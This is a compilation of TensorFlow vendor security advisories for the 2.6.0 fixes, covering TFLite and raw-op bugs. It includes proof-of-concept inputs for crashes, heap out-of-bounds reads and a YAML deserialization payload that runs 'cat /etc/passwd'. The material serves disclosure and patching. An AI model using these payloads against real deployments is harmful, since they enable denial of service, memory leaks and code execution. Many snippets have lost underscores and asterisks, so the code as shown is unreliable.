Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:

python import tensorflow as tf

model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu'))

converter = tf.lite.TFLiteConverter.fromkerasmodel(model) tflitemodel = converter.convert()

interpreter = tf.lite.Interpreter(modelcontent=tflitemodel) interpreter.allocatetensors()

interpreter.invoke()

The implementation unconditionally dereferences a pointer.

cc if (y4 > 1) { // ... } else { for (int i0 = 0; i0 < y0; ++i0) { const T input2dataptr = nullptr; for (int i1 = 0; i1 < y1; ++i1) { input2dataptr = input2datareset; for (int i2 = 0; i2 < y2; ++i2) { scalarbroadcastf(y3, params, input1dataptr, input2dataptr, outputdataptr); } } } }

Patches We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact The strided slice implementation in TFLite has a logic bug which can allow an attacker to trigger an infinite loop. This arises from newly introduced support for ellipsis in axis definition:

cc for (int i = 0; i < effectivedims;) { if ((1 << i) & opcontext->params->ellipsismask) { // ... int ellipsisendidx = std::min(i + 1 + numaddaxis + opcontext->inputdims - begincount, effectivedims); // ... for (; i < ellipsisendidx; ++i) { // ... } continue; } // ... ++i; }

An attacker can craft a model such that ellipsisendidx is smaller than i (e.g., always negative). In this case, the inner loop does not increase i and the continue statement causes execution to skip over the preincrement at the end of the outer loop.

Patches We have patched the issue in GitHub commit dfa22b348b70bb89d6d6ec0ff53973bacb4f4695.

The fix will be included in TensorFlow 2.6.0. This is the only affected version.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:

This is caused by the MLIR optimization of L2NormalizeReduceAxis operator. The implementation unconditionally dereferences a pointer to an iterator to a vector without checking that the vector has elements:

cc bool L2NormalizeReduceAxis(Value sqop, DenseElementsAttr axis) { if (sqop.getType().cast<ShapedType>().getRank() - 1 == axis.getValues<int>().begin() || axis.getValues<int>().begin() == -1) { // ... } // ... }

Patches We have patched the issue in GitHub commit d6b57f461b39fd1aa8c1b870f1b974aac3554955.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact An attacker can craft a TFLite model that would trigger a division by zero error in LSH implementation.

cc int RunningSignBit(const TfLiteTensor input, const TfLiteTensor weight, float seed) { int inputitembytes = input->bytes / SizeOfDimension(input, 0); // ... } There is no check that the first dimension of the input is non zero. Patches We have patched the issue in GitHub commit 0575b640091680cfb70f4dd93e70658de43b94f9.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick thiscommit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

python import tensorflow as tf import numpy as np tf.compat.v1.disablev2behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.fromsession(sess, [params, indices], [out]) tflitemodel = converter.convert()

interpreter = tf.lite.Interpreter(modelcontent=tflitemodel) interpreter.allocatetensors()

inputdetails = interpreter.getinputdetails() outputdetails = interpreter.getoutputdetails()

paramsdata = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indicesdata = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.settensor(inputdetails[0]['index'], paramsdata) interpreter.settensor(inputdetails[1]['index'], indicesdata)

interpreter.invoke()

Patches We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact When running shape functions, some functions (such as MutableHashTableShape) produce extra output information in the form of a ShapeAndType struct. The shapes embedded in this struct are owned by an inference context that is cleaned up almost immediately; if the upstream code attempts to access this shape information, it can trigger a segfault.

ShapeRefiner is mitigating this for normal output shapes by cloning them (and thus putting the newly created shape under ownership of an inference context that will not die), but we were not doing the same for shapes and types. This commit fixes that by doing similar logic on output shapes and types.

Patches We have patched the issue in GitHub commit ee119d4a498979525046fba1c3dd3f13a039fbb1.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Impact The implementation of fully connected layers in TFLite is vulnerable to a division by zero error:

cc const int batchsize = inputsize / filter->dims->data[1];

An attacker can craft a model such that filter->dims->data[1] is 0.

Patches We have patched the issue in GitHub commit 718721986aa137691ee23f03638867151f74935f.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it has also been reported by Yakun Zhang of Baidu Security.

Impact The implementation of SVDF in TFLite is vulnerable to a null pointer error:

cc TfLiteTensor state = GetVariableInput(context, node, kStateTensor); // ... GetTensorData<float>(state)

The GetVariableInput function can return a null pointer but GetTensorData assumes that the argument is always a valid tensor.

cc TfLiteTensor GetVariableInput(TfLiteContext context, const TfLiteNode node, int index) { TfLiteTensor tensor = GetMutableInput(context, node, index); return tensor->isvariable ? tensor : nullptr; }

Furthermore, because GetVariableInput calls GetMutableInput which might return nullptr, the tensor->isvariable expression can also trigger a null pointer exception.

Patches We have patched the issue in GitHub commit 5b048e87e4e55990dae6b547add4dae59f4e1c76.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact TFLite's expanddims.cc contains a vulnerability which allows reading one element outside of bounds of heap allocated data:

cc if (axis < 0) { axis = inputdims.size + 1 + axis; } TFLITEENSURE(context, axis <= inputdims.size);

TfLiteIntArray outputdims = TfLiteIntArrayCreate(inputdims.size + 1); for (int i = 0; i < outputdims->size; ++i) { if (i < axis) { outputdims->data[i] = inputdims.data[i]; } else if (i == axis) { outputdims->data[i] = 1; } else { outputdims->data[i] = inputdims.data[i - 1]; } }

If axis is a large negative value (e.g., -100000), then after the first if it would still be negative. The check following the if statement will pass and the for loop would read one element before the start of inputdims.data (when i = 0).

Patches We have patched the issue in GitHub commit d94ffe08a65400f898241c0374e9edc6fa8ed257.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact The implementation of division in TFLite is vulnerable to a division by 0 error

There is no check that the divisor tensor does not contain zero elements.

Patches We have patched the issue in GitHub commit 1e206baedf8bef0334cca3eb92bab134ef525a28.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact It is possible to nest a tf.mapfn within another tf.mapfn call. However, if the input tensor is a RaggedTensor and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap:

python import tensorflow as tf x = tf.ragged.constant([[1,2,3], [4,5], [6]]) t = tf.mapfn(lambda r: tf.mapfn(lambda y: r, r), x) z = tf.ragged.constant([[[1,2,3],[1,2,3],[1,2,3]],[[4,5],[4,5]],[[6]]]) The t and z outputs should be identical, however this is not the case. The last row of t contains data from the heap which can be used to leak other memory information.

The bug lies in the conversion from a Variant tensor to a RaggedTensor. The implementation does not check that all inner shapes match and this results in the additional dimensions in the above example.

The same implementation can result in data loss, if input tensor is tweaked:

python import tensorflow as tf x = tf.ragged.constant([[1,2], [3,4,5], [6]]) t = tf.mapfn(lambda r: tf.mapfn(lambda y: r, r), x)

Here, the output tensor will only have 2 elements for each inner dimension.

Patches We have patched the issue in GitHub commit 4e2565483d0ffcadc719bd44893fb7f609bb5f12.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Haris Sahovic.

Impact All TFLite operations that use quantization can be made to use unitialized values. For example:

cc const auto affinequantization = reinterpretcast<TfLiteAffineQuantization>( filter->quantization.params);

The issue stems from the fact that quantization.params is only valid if quantization.type is different that kTfLiteNoQuantization. However, these checks are missing in large parts of the code.

Patches We have patched the issue in GitHub commits 537bc7c723439b9194a358f64d871dd326c18887, 4a91f2069f7145aab6ba2d8cfe41be8a110c18a5 and 8933b8a21280696ab119b63263babdb54c298538.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact The implementations of pooling in TFLite are vulnerable to division by 0 errors as there are no checks for divisors not being 0.

Patches We have patched the issue in GitHub commit dfa22b348b70bb89d6d6ec0ff53973bacb4f4695.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.SparseFillEmptyRows:

python import tensorflow as tf tf.compat.v1.disablev2behavior() tf.rawops.SparseFillEmptyRows( indices = tf.constant([], shape=[0, 0], dtype=tf.int64), values = tf.constant([], shape=[0], dtype=tf.int64), denseshape = tf.constant([], shape=[0], dtype=tf.int64), defaultvalue = 0) The shape inference implementation does not validate that the input arguments are not empty tensors.

Patches We have patched the issue in GitHub commit 578e634b4f1c1c684d4b4294f9e5281b2133b3ed.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.SdcaOptimizerV2:

python import tensorflow as tf tf.rawops.SdcaOptimizerV2( sparseexampleindices=[[1]], sparsefeatureindices=[[1]], sparsefeaturevalues=[[1.0,2.0]], densefeatures=[[1.0]], exampleweights=[1.0], examplelabels=[], sparseindices=[1], sparseweights=[1.0], denseweights=[[1.0]], examplestatedata=[[100.0,100.0,100.0,100.0]], losstype='logisticloss', l1=100.0, l2=100.0, numlosspartitions=1, numinneriterations=1, adaptive=True)

The implementation does not check that the length of examplelabels is the same as the number of examples.

Patches We have patched the issue in GitHub commit a4e138660270e7599793fa438cd7b2fc2ce215a6.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can trigger a denial of service via a segmentation fault in tf.rawops.MaxPoolGrad caused by missing validation:

python import tensorflow as tf tf.rawops.MaxPoolGrad( originput = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), origoutput = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), ksize = [1, 16, 16, 1], strides = [1, 16, 18, 1], padding = "EXPLICIT", explicitpaddings = [0, 0, 14, 3, 15, 5, 0, 0]) The implementation misses some validation for the originput and origoutput tensors.

The fixes for CVE-2021-29579 were incomplete. Patches We have patched the issue in GitHub commit 136b51f10903e044308cf77117c0ed9871350475.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:

python import tensorflow as tf

tf.compat.v1.disablev2behavior() tf.rawops.Conv2D( input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32), filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32), strides = [1, 1, 1, 1], padding = "SAME")

The shape inference implementation is missing several validations before doing divisions and modulo operations.

Patches We have patched the issue in GitHub commit 8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.Map and tf.rawops.OrderedMap operations:

python import tensorflow as tf tf.rawops.MapPeek( key=tf.constant([8],dtype=tf.int64), indices=[], dtypes=[tf.int32], capacity=8, memorylimit=128)

The implementation has a check in place to ensure that indices is in ascending order, but does not check that indices is not empty. Patches We have patched the issue in GitHub commit 532f5c5a547126c634fefd43bbad1dc6417678ac. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact The shape inference code for tf.rawops.Dequantize has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:

python import tensorflow as tf

tf.compat.v1.disablev2behavior() tf.rawops.Dequantize( inputtensor = tf.constant(-10.0, dtype=tf.float32), inputtensor = tf.cast(inputtensor, dtype=tf.quint8), minrange = tf.constant([], shape=[0], dtype=tf.float32), maxrange = tf.constant([], shape=[0], dtype=tf.float32), mode = 'MINCOMBINED', narrowrange=False, axis=-10, dtype=tf.dtypes.float32)

The shape inference implementation uses axis to select between two different values for minmaxrank which is then used to retrieve tensor dimensions. However, code assumes that axis can be either -1 or a value greater than -1, with no validation for the other values.

Patches We have patched the issue in GitHub commit da857cfa0fde8f79ad0afdbc94e88b5d4bbec764.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.MapStage:

python import tensorflow as tf tf.rawops.MapStage( key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), indices=tf.constant((0), dtype=tf.int32), values=[tf.constant((0), dtype=tf.int32)], dtypes=[tf.int32, tf.int64], capacity=0, memorylimit=0, container='', sharedname='') The implementation does not check that the key input is a valid non-empty tensor. Patches We have patched the issue in GitHub commit d7de67733925de196ec8863a33445b73f9562d1d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Impact TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.

python from tensorflow.keras import models

payload = ''' !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "import('os').system('cat /etc/passwd')" ''' models.modelfromyaml(payload) The implementation uses yaml.unsafeload which can perform arbitrary code execution on the input.

Patches Given that YAML format support requires a significant amount of work, we have removed it for now.

We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Arjun Shibu.

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.UpperBound:

python import tensorflow as tf tf.rawops.UpperBound( sortedinput=[1,2,3], values=tf.constant(value=[[0,0,0],[1,1,1],[2,2,2]],dtype=tf.int64), outtype=tf.int64) The implementation does not validate the rank of sortedinput argument:

cc void Compute(OpKernelContext ctx) override { const Tensor& sortedinputst = ctx->input(0); // ... OPREQUIRES(ctx, sortedinputst.dimsize(0) == valuest.dimsize(0), Status(error::INVALIDARGUMENT, "Leading dimsize of both tensors must match.")); // ... if (outputt->dtype() == DTINT32) { OPREQUIRES(ctx, FastBoundsCheck(sortedinputst.dimsize(1), ...)); // ... }

As we access the first two dimensions of sortedinputst tensor, it must have rank at least 2.

A similar issue occurs in tf.rawops.LowerBound.

Patches We have patched the issue in GitHub commit 42459e4273c2e47a3232cc16c4f4fff3b3a35c38. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact Due to incomplete validation in tf.rawops.QuantizeV2, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:

python import tensorflow as tf

tf.rawops.QuantizeV2( input=[1,2,3], minrange=[1,2], maxrange=[], T=tf.qint32, mode='SCALED', roundmode='HALFAWAYFROMZERO', narrowrange=False, axis=1, ensureminimumrange=3)

The implementation has some validation but does not check that minrange and maxrange both have the same non-zero number of elements. If axis is provided (i.e., not -1), then validation should check that it is a value in range for the rank of input tensor and then the lengths of minrange and maxrange inputs match the axis dimension of the input tensor. Patches We have patched the issue in GitHub commit 6da6620efad397c85493b8f8667b821403516708. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact Due to incomplete validation in MKL implementation of requantization, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:

python import tensorflow as tf

tf.rawops.RequantizationRangePerChannel( input=[], inputmin=[0,0,0,0,0], inputmax=[1,1,1,1,1], clipvaluemax=1) The implementation does not validate the dimensions of the input tensor.

A similar issue occurs in MklRequantizePerChannelOp:

python import tensorflow as tf from tensorflow.python.ops import genmathops

genmathops.requantizeperchannel( input=[], inputmin=[-100,-100,-100,-100,-100], inputmax=[-100,-100,-100], requestedoutputmin=[-100,-100,-100,-100,-100], requestedoutputmax=[], outtype=tf.int)

The implementation does not perform full validation for all the input arguments.

Patches We have patched the issue in GitHub commit 9e62869465573cb2d9b5053f1fa02a81fce21d69 and in the Github commit 203214568f5bc237603dbab6e1fd389f1572f5c9.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause denial of service in applications serving models using tf.rawops.UnravelIndex by triggering a division by 0:

python import tensorflow as tf

tf.rawops.UnravelIndex(indices=-1, dims=[1,0,2]) The implementation does not check that the tensor subsumed by dims is not empty. Hence, if one element of dims is 0, the implementation does a division by 0.

Patches We have patched the issue in GitHub commit a776040a5e7ebf76eeb7eb923bf1ae417dd4d233.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.UnicodeEncode:

python import tensorflow as tf from tensorflow.python.ops import genstringops

genstringops.unicodeencode( inputvalues=[], inputsplits=[], outputencoding='UTF-8', errors='ignore', replacementchar='a')

The implementation reads the first dimension of the inputsplits tensor before validating that this tensor is not empty:

cc const Tensor& inputsplits = context->input(1); const auto inputsplitsflat = inputsplits.flat<SPLITSTYPE>(); TensorShape outputshape({inputsplits.dimsize(0) - 1});

Patches We have patched the issue in GitHub commit 2e0ee46f1a47675152d3d865797a18358881d7a6.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:

python import tensorflow as tf

tf.rawops.BoostedTreesSparseCalculateBestFeatureSplit( nodeidrange=[0,10], statssummaryindices=[[1, 2, 3, 0x1000000]], statssummaryvalues=[1.0], statssummaryshape=[1,1,1,1], l1=l2=[1.0], treecomplexity=[0.5], minnodeweight=[1.0], logitsdimension=3, splittype='inequality')

The implementation needs to validate that each value in statssummaryindices is in range. Patches We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.RaggedTensorToVariant:

python import tensorflow as tf

tf.rawops.RaggedTensorToVariant( rtnestedsplits=[], rtdensevalues=[1,2,3], batchedinput=True) The implementation has an incomplete validation of the splits values, missing the case when the argument would be empty.

Patches We have patched the issue in GitHub commit be7a4de6adfbd303ce08be4332554dff70362612.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause denial of service in applications serving models using tf.rawops.NonMaxSuppressionV5 by triggering a division by 0:

python import tensorflow as tf

tf.rawops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], maxoutputsize=-1, iouthreshold=0.5, scorethreshold=0.5, softnmssigma=1.0, padtomaxoutputsize=True) The implementation uses a user controlled argument to resize a std::vector:

cc const int outputsize = maxoutputsize.scalar<int>()(); // ... std::vector<int> selected; // ... if (padtomaxoutputsize) { selected.resize(outputsize, 0); // ... } However, as std::vector::resize takes the size argument as a sizet and outputsize is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

python import tensorflow as tf

tf.rawops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], maxoutputsizeperclass=-1, maxtotalsize=10, iouthreshold=scorethreshold=0.5, padperclass=True, clipboxes=True) Patches We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Impact An attacker can cause a floating point exception by calling inplace operations with crafted arguments that would result in a division by 0:

python import tensorflow as tf

tf.rawops.InplaceSub(x=[],i=[-99,-1,-1],v=[1,1,1])

The implementation has a logic error: it should skip processing if x and v are empty but the code uses || instead of &&.

Patches We have patched the issue in GitHub commit e86605c0a336c088b638da02135ea6f9f6753618.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.